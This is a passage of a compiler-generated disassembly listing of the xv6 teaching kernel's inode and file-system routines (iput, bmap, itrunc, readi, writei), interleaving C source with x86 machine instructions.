80101a6b: 83 e0 01 and $0x1,%eax
80101a6e: 84 c0 test %al,%al
80101a70: 74 0c je 80101a7e <iput+0x57>
panic("iput busy");
80101a72: c7 04 24 40 8b 10 80 movl $0x80108b40,(%esp)
80101a79: e8 bf ea ff ff call 8010053d <panic>
ip->flags |= I_BUSY;
80101a7e: 8b 45 08 mov 0x8(%ebp),%eax
80101a81: 8b 40 0c mov 0xc(%eax),%eax
80101a84: 89 c2 mov %eax,%edx
80101a86: 83 ca 01 or $0x1,%edx
80101a89: 8b 45 08 mov 0x8(%ebp),%eax
80101a8c: 89 50 0c mov %edx,0xc(%eax)
release(&icache.lock);
80101a8f: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101a96: e8 d6 38 00 00 call 80105371 <release>
itrunc(ip);
80101a9b: 8b 45 08 mov 0x8(%ebp),%eax
80101a9e: 89 04 24 mov %eax,(%esp)
80101aa1: e8 72 01 00 00 call 80101c18 <itrunc>
ip->type = 0;
80101aa6: 8b 45 08 mov 0x8(%ebp),%eax
80101aa9: 66 c7 40 10 00 00 movw $0x0,0x10(%eax)
iupdate(ip);
80101aaf: 8b 45 08 mov 0x8(%ebp),%eax
80101ab2: 89 04 24 mov %eax,(%esp)
80101ab5: e8 fe fb ff ff call 801016b8 <iupdate>
acquire(&icache.lock);
80101aba: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101ac1: e8 49 38 00 00 call 8010530f <acquire>
ip->flags = 0;
80101ac6: 8b 45 08 mov 0x8(%ebp),%eax
80101ac9: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
wakeup(ip);
80101ad0: 8b 45 08 mov 0x8(%ebp),%eax
80101ad3: 89 04 24 mov %eax,(%esp)
80101ad6: e8 28 36 00 00 call 80105103 <wakeup>
}
ip->ref--;
80101adb: 8b 45 08 mov 0x8(%ebp),%eax
80101ade: 8b 40 08 mov 0x8(%eax),%eax
80101ae1: 8d 50 ff lea -0x1(%eax),%edx
80101ae4: 8b 45 08 mov 0x8(%ebp),%eax
80101ae7: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
80101aea: c7 04 24 60 22 11 80 movl $0x80112260,(%esp)
80101af1: e8 7b 38 00 00 call 80105371 <release>
}
80101af6: c9 leave
80101af7: c3 ret
80101af8 <iunlockput>:
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
80101af8: 55 push %ebp
80101af9: 89 e5 mov %esp,%ebp
80101afb: 83 ec 18 sub $0x18,%esp
iunlock(ip);
80101afe: 8b 45 08 mov 0x8(%ebp),%eax
80101b01: 89 04 24 mov %eax,(%esp)
80101b04: e8 b9 fe ff ff call 801019c2 <iunlock>
iput(ip);
80101b09: 8b 45 08 mov 0x8(%ebp),%eax
80101b0c: 89 04 24 mov %eax,(%esp)
80101b0f: e8 13 ff ff ff call 80101a27 <iput>
}
80101b14: c9 leave
80101b15: c3 ret
80101b16 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
80101b16: 55 push %ebp
80101b17: 89 e5 mov %esp,%ebp
80101b19: 53 push %ebx
80101b1a: 83 ec 24 sub $0x24,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
80101b1d: 83 7d 0c 0b cmpl $0xb,0xc(%ebp)
80101b21: 77 3e ja 80101b61 <bmap+0x4b>
if((addr = ip->addrs[bn]) == 0)
80101b23: 8b 45 08 mov 0x8(%ebp),%eax
80101b26: 8b 55 0c mov 0xc(%ebp),%edx
80101b29: 83 c2 04 add $0x4,%edx
80101b2c: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
80101b30: 89 45 f4 mov %eax,-0xc(%ebp)
80101b33: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101b37: 75 20 jne 80101b59 <bmap+0x43>
ip->addrs[bn] = addr = balloc(ip->dev);
80101b39: 8b 45 08 mov 0x8(%ebp),%eax
80101b3c: 8b 00 mov (%eax),%eax
80101b3e: 89 04 24 mov %eax,(%esp)
80101b41: e8 49 f8 ff ff call 8010138f <balloc>
80101b46: 89 45 f4 mov %eax,-0xc(%ebp)
80101b49: 8b 45 08 mov 0x8(%ebp),%eax
80101b4c: 8b 55 0c mov 0xc(%ebp),%edx
80101b4f: 8d 4a 04 lea 0x4(%edx),%ecx
80101b52: 8b 55 f4 mov -0xc(%ebp),%edx
80101b55: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4)
return addr;
80101b59: 8b 45 f4 mov -0xc(%ebp),%eax
80101b5c: e9 b1 00 00 00 jmp 80101c12 <bmap+0xfc>
}
bn -= NDIRECT;
80101b61: 83 6d 0c 0c subl $0xc,0xc(%ebp)
if(bn < NINDIRECT){
80101b65: 83 7d 0c 7f cmpl $0x7f,0xc(%ebp)
80101b69: 0f 87 97 00 00 00 ja 80101c06 <bmap+0xf0>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
80101b6f: 8b 45 08 mov 0x8(%ebp),%eax
80101b72: 8b 40 4c mov 0x4c(%eax),%eax
80101b75: 89 45 f4 mov %eax,-0xc(%ebp)
80101b78: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101b7c: 75 19 jne 80101b97 <bmap+0x81>
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101b7e: 8b 45 08 mov 0x8(%ebp),%eax
80101b81: 8b 00 mov (%eax),%eax
80101b83: 89 04 24 mov %eax,(%esp)
80101b86: e8 04 f8 ff ff call 8010138f <balloc>
80101b8b: 89 45 f4 mov %eax,-0xc(%ebp)
80101b8e: 8b 45 08 mov 0x8(%ebp),%eax
80101b91: 8b 55 f4 mov -0xc(%ebp),%edx
80101b94: 89 50 4c mov %edx,0x4c(%eax)
bp = bread(ip->dev, addr);
80101b97: 8b 45 08 mov 0x8(%ebp),%eax
80101b9a: 8b 00 mov (%eax),%eax
80101b9c: 8b 55 f4 mov -0xc(%ebp),%edx
80101b9f: 89 54 24 04 mov %edx,0x4(%esp)
80101ba3: 89 04 24 mov %eax,(%esp)
80101ba6: e8 fb e5 ff ff call 801001a6 <bread>
80101bab: 89 45 f0 mov %eax,-0x10(%ebp)
a = (uint*)bp->data;
80101bae: 8b 45 f0 mov -0x10(%ebp),%eax
80101bb1: 83 c0 18 add $0x18,%eax
80101bb4: 89 45 ec mov %eax,-0x14(%ebp)
if((addr = a[bn]) == 0){
80101bb7: 8b 45 0c mov 0xc(%ebp),%eax
80101bba: c1 e0 02 shl $0x2,%eax
80101bbd: 03 45 ec add -0x14(%ebp),%eax
80101bc0: 8b 00 mov (%eax),%eax
80101bc2: 89 45 f4 mov %eax,-0xc(%ebp)
80101bc5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101bc9: 75 2b jne 80101bf6 <bmap+0xe0>
a[bn] = addr = balloc(ip->dev);
80101bcb: 8b 45 0c mov 0xc(%ebp),%eax
80101bce: c1 e0 02 shl $0x2,%eax
80101bd1: 89 c3 mov %eax,%ebx
80101bd3: 03 5d ec add -0x14(%ebp),%ebx
80101bd6: 8b 45 08 mov 0x8(%ebp),%eax
80101bd9: 8b 00 mov (%eax),%eax
80101bdb: 89 04 24 mov %eax,(%esp)
80101bde: e8 ac f7 ff ff call 8010138f <balloc>
80101be3: 89 45 f4 mov %eax,-0xc(%ebp)
80101be6: 8b 45 f4 mov -0xc(%ebp),%eax
80101be9: 89 03 mov %eax,(%ebx)
log_write(bp);
80101beb: 8b 45 f0 mov -0x10(%ebp),%eax
80101bee: 89 04 24 mov %eax,(%esp)
80101bf1: e8 70 1a 00 00 call 80103666 <log_write>
}
brelse(bp);
80101bf6: 8b 45 f0 mov -0x10(%ebp),%eax
80101bf9: 89 04 24 mov %eax,(%esp)
80101bfc: e8 16 e6 ff ff call 80100217 <brelse>
return addr;
80101c01: 8b 45 f4 mov -0xc(%ebp),%eax
80101c04: eb 0c jmp 80101c12 <bmap+0xfc>
}
panic("bmap: out of range");
80101c06: c7 04 24 4a 8b 10 80 movl $0x80108b4a,(%esp)
80101c0d: e8 2b e9 ff ff call 8010053d <panic>
}
80101c12: 83 c4 24 add $0x24,%esp
80101c15: 5b pop %ebx
80101c16: 5d pop %ebp
80101c17: c3 ret
80101c18 <itrunc>:
// to it (no directory entries referring to it)
// and has no in-memory reference to it (is
// not an open file or current directory).
static void
itrunc(struct inode *ip)
{
80101c18: 55 push %ebp
80101c19: 89 e5 mov %esp,%ebp
80101c1b: 83 ec 28 sub $0x28,%esp
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101c1e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101c25: eb 44 jmp 80101c6b <itrunc+0x53>
if(ip->addrs[i]){
80101c27: 8b 45 08 mov 0x8(%ebp),%eax
80101c2a: 8b 55 f4 mov -0xc(%ebp),%edx
80101c2d: 83 c2 04 add $0x4,%edx
80101c30: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
80101c34: 85 c0 test %eax,%eax
80101c36: 74 2f je 80101c67 <itrunc+0x4f>
bfree(ip->dev, ip->addrs[i]);
80101c38: 8b 45 08 mov 0x8(%ebp),%eax
80101c3b: 8b 55 f4 mov -0xc(%ebp),%edx
80101c3e: 83 c2 04 add $0x4,%edx
80101c41: 8b 54 90 0c mov 0xc(%eax,%edx,4),%edx
80101c45: 8b 45 08 mov 0x8(%ebp),%eax
80101c48: 8b 00 mov (%eax),%eax
80101c4a: 89 54 24 04 mov %edx,0x4(%esp)
80101c4e: 89 04 24 mov %eax,(%esp)
80101c51: e8 90 f8 ff ff call 801014e6 <bfree>
ip->addrs[i] = 0;
80101c56: 8b 45 08 mov 0x8(%ebp),%eax
80101c59: 8b 55 f4 mov -0xc(%ebp),%edx
80101c5c: 83 c2 04 add $0x4,%edx
80101c5f: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4)
80101c66: 00
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101c67: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80101c6b: 83 7d f4 0b cmpl $0xb,-0xc(%ebp)
80101c6f: 7e b6 jle 80101c27 <itrunc+0xf>
bfree(ip->dev, ip->addrs[i]);
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
80101c71: 8b 45 08 mov 0x8(%ebp),%eax
80101c74: 8b 40 4c mov 0x4c(%eax),%eax
80101c77: 85 c0 test %eax,%eax
80101c79: 0f 84 8f 00 00 00 je 80101d0e <itrunc+0xf6>
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101c7f: 8b 45 08 mov 0x8(%ebp),%eax
80101c82: 8b 50 4c mov 0x4c(%eax),%edx
80101c85: 8b 45 08 mov 0x8(%ebp),%eax
80101c88: 8b 00 mov (%eax),%eax
80101c8a: 89 54 24 04 mov %edx,0x4(%esp)
80101c8e: 89 04 24 mov %eax,(%esp)
80101c91: e8 10 e5 ff ff call 801001a6 <bread>
80101c96: 89 45 ec mov %eax,-0x14(%ebp)
a = (uint*)bp->data;
80101c99: 8b 45 ec mov -0x14(%ebp),%eax
80101c9c: 83 c0 18 add $0x18,%eax
80101c9f: 89 45 e8 mov %eax,-0x18(%ebp)
for(j = 0; j < NINDIRECT; j++){
80101ca2: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80101ca9: eb 2f jmp 80101cda <itrunc+0xc2>
if(a[j])
80101cab: 8b 45 f0 mov -0x10(%ebp),%eax
80101cae: c1 e0 02 shl $0x2,%eax
80101cb1: 03 45 e8 add -0x18(%ebp),%eax
80101cb4: 8b 00 mov (%eax),%eax
80101cb6: 85 c0 test %eax,%eax
80101cb8: 74 1c je 80101cd6 <itrunc+0xbe>
bfree(ip->dev, a[j]);
80101cba: 8b 45 f0 mov -0x10(%ebp),%eax
80101cbd: c1 e0 02 shl $0x2,%eax
80101cc0: 03 45 e8 add -0x18(%ebp),%eax
80101cc3: 8b 10 mov (%eax),%edx
80101cc5: 8b 45 08 mov 0x8(%ebp),%eax
80101cc8: 8b 00 mov (%eax),%eax
80101cca: 89 54 24 04 mov %edx,0x4(%esp)
80101cce: 89 04 24 mov %eax,(%esp)
80101cd1: e8 10 f8 ff ff call 801014e6 <bfree>
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
80101cd6: 83 45 f0 01 addl $0x1,-0x10(%ebp)
80101cda: 8b 45 f0 mov -0x10(%ebp),%eax
80101cdd: 83 f8 7f cmp $0x7f,%eax
80101ce0: 76 c9 jbe 80101cab <itrunc+0x93>
if(a[j])
bfree(ip->dev, a[j]);
}
brelse(bp);
80101ce2: 8b 45 ec mov -0x14(%ebp),%eax
80101ce5: 89 04 24 mov %eax,(%esp)
80101ce8: e8 2a e5 ff ff call 80100217 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
80101ced: 8b 45 08 mov 0x8(%ebp),%eax
80101cf0: 8b 50 4c mov 0x4c(%eax),%edx
80101cf3: 8b 45 08 mov 0x8(%ebp),%eax
80101cf6: 8b 00 mov (%eax),%eax
80101cf8: 89 54 24 04 mov %edx,0x4(%esp)
80101cfc: 89 04 24 mov %eax,(%esp)
80101cff: e8 e2 f7 ff ff call 801014e6 <bfree>
ip->addrs[NDIRECT] = 0;
80101d04: 8b 45 08 mov 0x8(%ebp),%eax
80101d07: c7 40 4c 00 00 00 00 movl $0x0,0x4c(%eax)
}
ip->size = 0;
80101d0e: 8b 45 08 mov 0x8(%ebp),%eax
80101d11: c7 40 18 00 00 00 00 movl $0x0,0x18(%eax)
iupdate(ip);
80101d18: 8b 45 08 mov 0x8(%ebp),%eax
80101d1b: 89 04 24 mov %eax,(%esp)
80101d1e: e8 95 f9 ff ff call 801016b8 <iupdate>
}
80101d23: c9 leave
80101d24: c3 ret
80101d25 <stati>:
// Copy stat information from inode.
void
stati(struct inode *ip, struct stat *st)
{
80101d25: 55 push %ebp
80101d26: 89 e5 mov %esp,%ebp
st->dev = ip->dev;
80101d28: 8b 45 08 mov 0x8(%ebp),%eax
80101d2b: 8b 00 mov (%eax),%eax
80101d2d: 89 c2 mov %eax,%edx
80101d2f: 8b 45 0c mov 0xc(%ebp),%eax
80101d32: 89 50 04 mov %edx,0x4(%eax)
st->ino = ip->inum;
80101d35: 8b 45 08 mov 0x8(%ebp),%eax
80101d38: 8b 50 04 mov 0x4(%eax),%edx
80101d3b: 8b 45 0c mov 0xc(%ebp),%eax
80101d3e: 89 50 08 mov %edx,0x8(%eax)
st->type = ip->type;
80101d41: 8b 45 08 mov 0x8(%ebp),%eax
80101d44: 0f b7 50 10 movzwl 0x10(%eax),%edx
80101d48: 8b 45 0c mov 0xc(%ebp),%eax
80101d4b: 66 89 10 mov %dx,(%eax)
st->nlink = ip->nlink;
80101d4e: 8b 45 08 mov 0x8(%ebp),%eax
80101d51: 0f b7 50 16 movzwl 0x16(%eax),%edx
80101d55: 8b 45 0c mov 0xc(%ebp),%eax
80101d58: 66 89 50 0c mov %dx,0xc(%eax)
st->size = ip->size;
80101d5c: 8b 45 08 mov 0x8(%ebp),%eax
80101d5f: 8b 50 18 mov 0x18(%eax),%edx
80101d62: 8b 45 0c mov 0xc(%ebp),%eax
80101d65: 89 50 10 mov %edx,0x10(%eax)
}
80101d68: 5d pop %ebp
80101d69: c3 ret
80101d6a <readi>:
//PAGEBREAK!
// Read data from inode.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101d6a: 55 push %ebp
80101d6b: 89 e5 mov %esp,%ebp
80101d6d: 53 push %ebx
80101d6e: 83 ec 24 sub $0x24,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101d71: 8b 45 08 mov 0x8(%ebp),%eax
80101d74: 0f b7 40 10 movzwl 0x10(%eax),%eax
80101d78: 66 83 f8 03 cmp $0x3,%ax
80101d7c: 75 60 jne 80101dde <readi+0x74>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101d7e: 8b 45 08 mov 0x8(%ebp),%eax
80101d81: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d85: 66 85 c0 test %ax,%ax
80101d88: 78 20 js 80101daa <readi+0x40>
80101d8a: 8b 45 08 mov 0x8(%ebp),%eax
80101d8d: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d91: 66 83 f8 09 cmp $0x9,%ax
80101d95: 7f 13 jg 80101daa <readi+0x40>
80101d97: 8b 45 08 mov 0x8(%ebp),%eax
80101d9a: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101d9e: 98 cwtl
80101d9f: 8b 04 c5 00 22 11 80 mov -0x7feede00(,%eax,8),%eax
80101da6: 85 c0 test %eax,%eax
80101da8: 75 0a jne 80101db4 <readi+0x4a>
return -1;
80101daa: b8 ff ff ff ff mov $0xffffffff,%eax
80101daf: e9 1b 01 00 00 jmp 80101ecf <readi+0x165>
return devsw[ip->major].read(ip, dst, n);
80101db4: 8b 45 08 mov 0x8(%ebp),%eax
80101db7: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101dbb: 98 cwtl
80101dbc: 8b 14 c5 00 22 11 80 mov -0x7feede00(,%eax,8),%edx
80101dc3: 8b 45 14 mov 0x14(%ebp),%eax
80101dc6: 89 44 24 08 mov %eax,0x8(%esp)
80101dca: 8b 45 0c mov 0xc(%ebp),%eax
80101dcd: 89 44 24 04 mov %eax,0x4(%esp)
80101dd1: 8b 45 08 mov 0x8(%ebp),%eax
80101dd4: 89 04 24 mov %eax,(%esp)
80101dd7: ff d2 call *%edx
80101dd9: e9 f1 00 00 00 jmp 80101ecf <readi+0x165>
}
if(off > ip->size || off + n < off)
80101dde: 8b 45 08 mov 0x8(%ebp),%eax
80101de1: 8b 40 18 mov 0x18(%eax),%eax
80101de4: 3b 45 10 cmp 0x10(%ebp),%eax
80101de7: 72 0d jb 80101df6 <readi+0x8c>
80101de9: 8b 45 14 mov 0x14(%ebp),%eax
80101dec: 8b 55 10 mov 0x10(%ebp),%edx
80101def: 01 d0 add %edx,%eax
80101df1: 3b 45 10 cmp 0x10(%ebp),%eax
80101df4: 73 0a jae 80101e00 <readi+0x96>
return -1;
80101df6: b8 ff ff ff ff mov $0xffffffff,%eax
80101dfb: e9 cf 00 00 00 jmp 80101ecf <readi+0x165>
if(off + n > ip->size)
80101e00: 8b 45 14 mov 0x14(%ebp),%eax
80101e03: 8b 55 10 mov 0x10(%ebp),%edx
80101e06: 01 c2 add %eax,%edx
80101e08: 8b 45 08 mov 0x8(%ebp),%eax
80101e0b: 8b 40 18 mov 0x18(%eax),%eax
80101e0e: 39 c2 cmp %eax,%edx
80101e10: 76 0c jbe 80101e1e <readi+0xb4>
n = ip->size - off;
80101e12: 8b 45 08 mov 0x8(%ebp),%eax
80101e15: 8b 40 18 mov 0x18(%eax),%eax
80101e18: 2b 45 10 sub 0x10(%ebp),%eax
80101e1b: 89 45 14 mov %eax,0x14(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101e1e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101e25: e9 96 00 00 00 jmp 80101ec0 <readi+0x156>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101e2a: 8b 45 10 mov 0x10(%ebp),%eax
80101e2d: c1 e8 09 shr $0x9,%eax
80101e30: 89 44 24 04 mov %eax,0x4(%esp)
80101e34: 8b 45 08 mov 0x8(%ebp),%eax
80101e37: 89 04 24 mov %eax,(%esp)
80101e3a: e8 d7 fc ff ff call 80101b16 <bmap>
80101e3f: 8b 55 08 mov 0x8(%ebp),%edx
80101e42: 8b 12 mov (%edx),%edx
80101e44: 89 44 24 04 mov %eax,0x4(%esp)
80101e48: 89 14 24 mov %edx,(%esp)
80101e4b: e8 56 e3 ff ff call 801001a6 <bread>
80101e50: 89 45 f0 mov %eax,-0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101e53: 8b 45 10 mov 0x10(%ebp),%eax
80101e56: 89 c2 mov %eax,%edx
80101e58: 81 e2 ff 01 00 00 and $0x1ff,%edx
80101e5e: b8 00 02 00 00 mov $0x200,%eax
80101e63: 89 c1 mov %eax,%ecx
80101e65: 29 d1 sub %edx,%ecx
80101e67: 89 ca mov %ecx,%edx
80101e69: 8b 45 f4 mov -0xc(%ebp),%eax
80101e6c: 8b 4d 14 mov 0x14(%ebp),%ecx
80101e6f: 89 cb mov %ecx,%ebx
80101e71: 29 c3 sub %eax,%ebx
80101e73: 89 d8 mov %ebx,%eax
80101e75: 39 c2 cmp %eax,%edx
80101e77: 0f 46 c2 cmovbe %edx,%eax
80101e7a: 89 45 ec mov %eax,-0x14(%ebp)
memmove(dst, bp->data + off%BSIZE, m);
80101e7d: 8b 45 f0 mov -0x10(%ebp),%eax
80101e80: 8d 50 18 lea 0x18(%eax),%edx
80101e83: 8b 45 10 mov 0x10(%ebp),%eax
80101e86: 25 ff 01 00 00 and $0x1ff,%eax
80101e8b: 01 c2 add %eax,%edx
80101e8d: 8b 45 ec mov -0x14(%ebp),%eax
80101e90: 89 44 24 08 mov %eax,0x8(%esp)
80101e94: 89 54 24 04 mov %edx,0x4(%esp)
80101e98: 8b 45 0c mov 0xc(%ebp),%eax
80101e9b: 89 04 24 mov %eax,(%esp)
80101e9e: e8 8e 37 00 00 call 80105631 <memmove>
brelse(bp);
80101ea3: 8b 45 f0 mov -0x10(%ebp),%eax
80101ea6: 89 04 24 mov %eax,(%esp)
80101ea9: e8 69 e3 ff ff call 80100217 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101eae: 8b 45 ec mov -0x14(%ebp),%eax
80101eb1: 01 45 f4 add %eax,-0xc(%ebp)
80101eb4: 8b 45 ec mov -0x14(%ebp),%eax
80101eb7: 01 45 10 add %eax,0x10(%ebp)
80101eba: 8b 45 ec mov -0x14(%ebp),%eax
80101ebd: 01 45 0c add %eax,0xc(%ebp)
80101ec0: 8b 45 f4 mov -0xc(%ebp),%eax
80101ec3: 3b 45 14 cmp 0x14(%ebp),%eax
80101ec6: 0f 82 5e ff ff ff jb 80101e2a <readi+0xc0>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
80101ecc: 8b 45 14 mov 0x14(%ebp),%eax
}
80101ecf: 83 c4 24 add $0x24,%esp
80101ed2: 5b pop %ebx
80101ed3: 5d pop %ebp
80101ed4: c3 ret
80101ed5 <writei>:
// PAGEBREAK!
// Write data to inode.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101ed5: 55 push %ebp
80101ed6: 89 e5 mov %esp,%ebp
80101ed8: 53 push %ebx
80101ed9: 83 ec 24 sub $0x24,%esp
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101edc: 8b 45 08 mov 0x8(%ebp),%eax
80101edf: 0f b7 40 10 movzwl 0x10(%eax),%eax
80101ee3: 66 83 f8 03 cmp $0x3,%ax
80101ee7: 75 60 jne 80101f49 <writei+0x74>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101ee9: 8b 45 08 mov 0x8(%ebp),%eax
80101eec: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101ef0: 66 85 c0 test %ax,%ax
80101ef3: 78 20 js 80101f15 <writei+0x40>
80101ef5: 8b 45 08 mov 0x8(%ebp),%eax
80101ef8: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101efc: 66 83 f8 09 cmp $0x9,%ax
80101f00: 7f 13 jg 80101f15 <writei+0x40>
80101f02: 8b 45 08 mov 0x8(%ebp),%eax
80101f05: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101f09: 98 cwtl
80101f0a: 8b 04 c5 04 22 11 80 mov -0x7feeddfc(,%eax,8),%eax
80101f11: 85 c0 test %eax,%eax
80101f13: 75 0a jne 80101f1f <writei+0x4a>
return -1;
80101f15: b8 ff ff ff ff mov $0xffffffff,%eax
80101f1a: e9 46 01 00 00 jmp 80102065 <writei+0x190>
return devsw[ip->major].write(ip, src, n);
80101f1f: 8b 45 08 mov 0x8(%ebp),%eax
80101f22: 0f b7 40 12 movzwl 0x12(%eax),%eax
80101f26: 98 cwtl
80101f27: 8b 14 c5 04 22 11 80 mov -0x7feeddfc(,%eax,8),%edx
80101f2e: 8b 45 14 mov 0x14(%ebp),%eax
80101f31: 89 44 24 08 mov %eax,0x8(%esp)
80101f35: 8b 45 0c mov 0xc(%ebp),%eax
80101f38: 89 44 24 04 mov %eax,0x4(%esp)
80101f3c: 8b 45 08 mov 0x8(%ebp),%eax
80101f3f: 89 04 24 mov %eax,(%esp)
80101f42: ff d2 call *%edx
80101f44: e9 1c 01 00 00 jmp 80102065 <writei+0x190>
}
if(off > ip->size || off + n < off)
80101f49: 8b 45 08 mov 0x8(%ebp),%eax
80101f4c: 8b 40 18 mov 0x18(%eax),%eax
80101f4f: 3b 45 10 cmp 0x10(%ebp),%eax
80101f52: 72 0d jb 80101f61 <writei+0x8c>
80101f54: 8b 45 14 mov 0x14(%ebp),%eax
80101f57: 8b 55 10 mov 0x10(%ebp),%edx
80101f5a: 01 d0 add %edx,%eax
80101f5c: 3b 45 10 cmp 0x10(%ebp),%eax
80101f5f: 73 0a jae 80101f6b <writei+0x96>
return -1;
80101f61: b8 ff ff ff ff mov $0xffffffff,%eax
80101f66: e9 fa 00 00 00 jmp 80102065 <writei+0x190>
if(off + n > MAXFILE*BSIZE)
80101f6b: 8b 45 14 mov 0x14(%ebp),%eax
80101f6e: 8b 55 10 mov 0x10(%ebp),%edx
80101f71: 01 d0 add %edx,%eax
80101f73: 3d 00 18 01 00 cmp $0x11800,%eax
80101f78: 76 0a jbe 80101f84 <writei+0xaf>
return -1;
80101f7a: b8 ff ff ff ff mov $0xffffffff,%eax
80101f7f: e9 e1 00 00 00 jmp 80102065 <writei+0x190>
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101f84: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80101f8b: e9 a1 00 00 00 jmp 80102031 <writei+0x15c>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101f90: 8b 45 10 mov 0x10(%ebp),%eax
80101f93: c1 e8 09 shr $0x9,%eax
80101f96: 89 44 24 04 mov %eax,0x4(%esp)
80101f9a: 8b 45 08 mov 0x8(%ebp),%eax
80101f9d: 89 04 24 mov %eax,(%esp)
80101fa0: e8 71 fb ff ff call 80101b16 <bmap>
80101fa5: 8b 55 08 mov 0x8(%ebp),%edx
80101fa8: 8b 12 mov (%edx),%edx
80101faa: 89 44 24 04 mov %eax,0x4(%esp)
80101fae: 89 14 24 mov %edx,(%esp)
80101fb1: e8 f0 e1 ff ff call 801001a6 <bread>
80101fb6: 89 45 f0 mov %eax,-0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
80101fb9: 8b 45 10 mov 0x10(%ebp),%eax
80101fbc: 89 c2 mov %eax,%edx
80101fbe: 81 e2 ff 01 00 00 and $0x1ff,%edx
80101fc4: b8 00 02 00 00 mov $0x200,%eax
80101fc9: 89 c1 mov %eax,%ecx
80101fcb: 29 d1 sub %edx,%ecx
80101fcd: 89 ca mov %ecx,%edx
80101fcf: 8b 45 f4 mov -0xc(%ebp),%eax
80101fd2: 8b 4d 14 mov 0x14(%ebp),%ecx
80101fd5: 89 cb mov %ecx,%ebx
80101fd7: 29 c3 sub %eax,%ebx
80101fd9: 89 d8 mov %ebx,%eax
80101fdb: 39 c2 cmp %eax,%edx
80101fdd: 0f 46 c2 cmovbe %edx,%eax
80101fe0: 89 45 ec mov %eax,-0x14(%ebp)
memmove(bp->data + off%BSIZE, src, m);
80101fe3: 8b 45 f0 mov -0x10(%ebp),%eax
80101fe6: 8d 50 18 lea 0x18(%eax),%edx
80101fe9: 8b 45 10 mov 0x10(%ebp),%eax
80101fec: 25 ff 01 00 00 and $0x1ff,%eax
80101ff1: 01 c2 add %eax,%edx
80101ff3: 8b 45 ec mov -0x14(%ebp),%eax
80101ff6: 89 44 24 08 mov %eax,0x8(%esp)
80101ffa: 8b 45 0c mov 0xc(%ebp),%eax
80101ffd: 89 44 24 04 mov %eax,0x4(%esp)
80102001: 89 14 24 mov %edx,(%esp)
80102004: e8 28 36 00 00 call 80105631 <memmove>
log_write(bp);
80102009: 8b 45 f0 mov -0x10(%ebp),%eax
8010200c: 89 04 24 mov %eax,(%esp)
8010200f: e8 52 16 00 00 call 80103666 <log_write>
brelse(bp);
80102014: 8b 45 f0 mov -0x10(%ebp),%eax
80102017: 89 04 24 mov %eax,(%esp)
8010201a: e8 f8 e1 ff ff call 80100217 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
8010201f: 8b 45 ec mov -0x14(%ebp),%eax
80102022: 01 45 f4 add %eax,-0xc(%ebp)
80102025: 8b 45 ec mov -0x14(%ebp),%eax
80102028: 01 45 10 add %eax,0x10(%ebp)
8010202b: 8b 45 ec mov -0x14(%ebp),%eax
8010202e: 01 45 0c add %eax,0xc(%ebp)
80102031: 8b 45 f4 mov -0xc(%ebp),%eax
80102034: 3b 45 14 cmp 0x14(%ebp),%eax
80102037: 0f 82 53 ff ff ff jb 80101f90 <writei+0xbb>
memmove(bp->data + off%BSIZE, src, m);
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
8010203d: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
